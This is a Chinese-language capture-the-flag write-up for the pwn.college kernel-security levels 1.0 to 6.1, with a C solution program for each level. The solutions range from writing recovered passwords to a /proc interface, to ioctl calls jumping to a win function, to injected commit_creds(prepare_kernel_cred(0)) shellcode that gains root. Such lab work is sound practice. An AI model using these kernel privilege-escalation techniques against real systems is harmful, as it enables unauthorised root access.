实验地址:
https://pwn.college/system-security/kernel-security/
点击start启动环境后,进入GUI Desktop Workspace界面
每个环境需要破解的内核模块都放在根目录的challenge目录下
level 1.0
使用ida分析这个文件
device_write函数将用户的输入的密码与snceewqvyntlwfha字符串进行对比,很明显,这一串字符就是密码
device_read函数处校验了用户输入的密码,如果密码正确则输出flag,flag在根目录下,只有root用户能读取
载入这个内核模块后,它会在proc目录下生成一个名为pwncollege接口
输入vm connect启动环境
pwncollege接口正在等待用户输入密码
编写程序,调用write函数传入密码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "snceewqvyntlwfha";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
close(fd);
return EXIT_SUCCESS;
}
编译后直接运行程序
查看内核日志,可以看到成功写入了数据,写入的数据长度为16字节(与密码长度一致)
查看pwncollege,获得flag
level 1.1
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
和level1.0功能一样
编写程序,传入密码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "bbhlnbpoisiduufx";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
close(fd);
return EXIT_SUCCESS;
}
查看接口,获得flag
leve 2.0
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
在这个内核模块中没有device_read函数,直接查看pwncollege接口,会显示输入输出错误
但是会在内核日志里输出flag
其他的功能与level1,1.1一样
编写程序,传入参数
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "yjtvotvfhmaybgnh";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
close(fd);
return EXIT_SUCCESS;
}
查看内核日志即可看到flag
level 2.1
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
其他功能和level 2.0一样
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "dmmwsghycbuooaja";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
close(fd);
return EXIT_SUCCESS;
}
查看内核日志,获取flag
level 3.0
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
输入密码正确则进入win函数
这个函数存在提权的功能
编写程序,传入密码,获取flag
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "dylgcsgflojsupql";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 3.1
功能都是一样的,就不多演示了
编写程序,传入密码,获得flag
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "uhgodmeakdsthjfj";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 4.0
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
调用的不是write函数,而是ioctl函数了,输入密码正确则进入win函数,只不过还需要传递cmd = 1337,才会进入if判断
win函数为提权函数
编写程序,传入密码,获取flag
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
char *password = "pupqprwamavtwcxq";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, password);
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 4.1
与level 4.0一样,就不多说了
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
char *password = "pkrnvpxjhribcxwl";
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, password);
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 5.0
先选择实验(Practice),sudo su提升到root权限后直接查看/proc/kallsyms文件找到win函数完整地址
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
在device_ioctl功能里,需要传递cmd = 1337,才会进入if判断,然后执行用户输入的指针,将win函数地址输入,内核模块执行arg()时就会跳转到win函数地址处,root权限查看/proc/kallsyms文件找到win函数地址为0xffffffffc000093d
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, 0xffffffffc000093d);
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 5.1
和level 5.0一样
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, 0xffffffffc0000F62);
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
level 6.0
进入实验
使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口
device_write函数中,直接使用 copy_from_user函数将用户的输入传入了内核中,然后执行了用户输入
选择实验(Practice)提升到root权限,sudo su,再cat /proc/kallsyms文件搜索内核函数
prepare_kernel_cred函数地址:
0xffffffff810890d0
commit_creds函数地址:
0xffffffff81088d90
执行commit_creds(prepare_kernel_cred(0));的汇编代码
push rsi ; 将 RSI 寄存器的值压入栈
mov rsi, 0xffffffff810890d0 ; 将 64 位常数加载到 RSI 寄存器
push rdi ; 将 RDI 寄存器的值压入栈
xor rdi, rdi ; 将 RDI 寄存器置零
call rsi ; 调用 RSI 中存储的地址
mov rdi, rax ; 将 RAX 寄存器的值复制到 RDI 寄存器
mov rsi, ffffffff81088d90 ; 将另一个 64 位常数加载到 RSI 寄存器
call rsi ; 调用 RSI 中存储的地址
pop rdi ; 从栈中弹出 RDI 寄存器的值
pop rsi ; 从栈中弹出 RSI 寄存器的值
ret ; 返回
\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3
编写程序,提升权限,查看flag
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char shellcode[] = "\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3";
fd = open(DEVICE_PATH, O_WRONLY);
write(fd, shellcode, strlen(shellcode));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
成功输出flag后,进入实战环境,直接运行程序即可
level 6.1
流程与level 6.0一样,就是commit_creds函数和prepare_kernel_cred函数地址不一样而已,找一下再写进去即可
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char shellcode[] = "\x56\x48\xc7\xc6\xd0\x90\x08\x81\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xc7\xc6\x90\x8d\x08\x81\xff\xd6\x5f\x5e\xc3";
fd = open(DEVICE_PATH, O_WRONLY);
write(fd, shellcode, strlen(shellcode));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}